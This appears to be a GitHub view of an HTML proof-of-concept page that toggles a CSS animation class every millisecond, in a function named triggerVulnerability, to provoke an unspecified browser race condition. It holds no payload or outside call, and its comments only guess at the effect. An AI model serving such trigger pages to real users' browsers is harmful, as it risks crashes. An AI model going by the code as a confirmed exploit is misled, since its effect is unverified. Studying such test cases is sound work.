-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathindex.html
49 lines (44 loc) · 1.28 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html>
<head>
<style>
@keyframes exampleAnimation {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
.animate {
animation: exampleAnimation 5s infinite;
}
</style>
</head>
<body>
<div id="targetElement" class="animate">Animating Element</div>
<script>
// Example setup: A function that continuously creates and destroys animations
// The goal here is to simulate rapid, repeated manipulations of the CSS animation timeline
function triggerVulnerability() {
const target = document.getElementById("targetElement");
// Create an animation, then remove it quickly in a loop
let i = 0;
const interval = setInterval(() => {
i++;
if (i % 2 === 0) {
target.classList.add("animate");
} else {
target.classList.remove("animate");
}
// Potentially causing a race condition or triggering the vulnerability
if (i > 1000) {
clearInterval(interval);
}
}, 1); // Rapid manipulation of the animation state
}
// Simulating dynamic DOM manipulation and timeline interaction
triggerVulnerability();
</script>
</body>
</html>